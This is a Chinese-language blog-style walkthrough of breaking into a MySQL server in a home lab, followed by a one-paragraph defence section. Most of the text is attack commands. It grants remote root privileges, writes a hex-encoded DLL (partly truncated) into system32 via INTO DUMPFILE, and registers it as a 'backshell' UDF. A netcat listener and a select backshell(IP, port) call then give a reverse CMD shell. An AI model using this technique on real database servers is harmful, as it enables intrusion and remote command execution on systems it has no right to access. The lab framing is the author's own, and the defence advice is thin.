在做了之前的SQL SERVER之后,便很想尝试一下MYSQL的入侵测试已经防范,与大家一起分享。
总的来说,我一直在用的是MYSQL,对MYSQL比较熟悉,相比较而言,感觉MYSQL更安全,这只是我自己胡乱猜想的,希望不要引起什么争论神马的。。。一本馒头引发的血案。。。
正题之一
物理机:Win7
虚拟机:XP
给予mysql远程权限:
复制代码代码如下:
grant all privileges on *.* to 数据库账号@给予权限的IP identified by '数据库密码';
flush privileges;
给物理机远程权限:
物理机成功连接上:
执行侵入测试前(有图有真相):
执行侵入测试后(有图有真相):
重启前(有图有真相):
重启后(有图有真相):
正题之二:
远程登录之后写入代码,代码在yyd.txt当中,然后在MySql中写入文件:
Win7 打另外一个cmd,本地端口映射:nc -vv -l -p 端口号
虚拟机上:执行映射:select backshell("物理机IP",端口号);
这便执行了3306端口反弹CMD
(没图了。。。用到了一个nc软件执行的映射)
yyd.txt大概内容:
复制代码代码如下:
et @a=concat('',
0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a00000000000100010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001000000009980200dd020000f19702001400000000c0010090000000000000000000000000000000000000000000000000000000000.........只是部分代码...............0736875745f6465696e697400736875745f696e697400);
create table yyd(data LONGBLOB);
insert into yyd values("");updateyyd set data = @a;
select data from yyd into DUMPFILE 'c:\\windows\\system32\\yyd.dll';
CREATE FUNCTION backshell RETURNS STRING SONAME 'yyd.dll';
正题之三:
防范
感觉有点乱,主要是分享了两种方法入侵,但是防范那部分应该是XP上的MySql服务关闭,但是早XP上做了好多测试,左后XP被我弄挂掉了。。。。好丢脸,只好把Win7上的MySql服务拿出来了。
觉得主要还是远程连接的问题,“如果MySql不开启远程连接的话我们还是朋友”,开玩笑,如果MySql不开启远程连接的话入侵几率会小的很多。